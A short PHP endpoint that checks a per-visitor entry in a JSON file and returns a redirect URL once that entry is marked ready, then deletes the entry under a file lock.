<?php
// Optimized for fast response - minimal overhead
header('Content-Type: application/json');

$visitor_id = $_GET['visitor_id'] ?? '';

if (empty($visitor_id)) {
    die(json_encode(['redirect' => false]));
}

$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    die(json_encode(['redirect' => false]));
}

// Fast file read with file locking
$fp = fopen($redirects_file, 'r');
if (!$fp) {
    die(json_encode(['redirect' => false]));
}

flock($fp, LOCK_SH); // Shared lock for reading
$redirects = json_decode(fread($fp, filesize($redirects_file)), true);
flock($fp, LOCK_UN);
fclose($fp);

if (isset($redirects['redirects'][$visitor_id])) {
    $visitor_data = $redirects['redirects'][$visitor_id];
    
    if ($visitor_data['status'] === 'ready' && isset($visitor_data['redirect_url'])) {
        // Remove visitor data with exclusive lock
        unset($redirects['redirects'][$visitor_id]);
        
        $fp = fopen($redirects_file, 'w');
        flock($fp, LOCK_EX);
        fwrite($fp, json_encode($redirects, JSON_PRETTY_PRINT));
        flock($fp, LOCK_UN);
        fclose($fp);
        
        echo json_encode([
            'redirect' => true,
            'redirect_url' => $visitor_data['redirect_url']
        ]);
        exit();
    }
}

echo json_encode(['redirect' => false]); 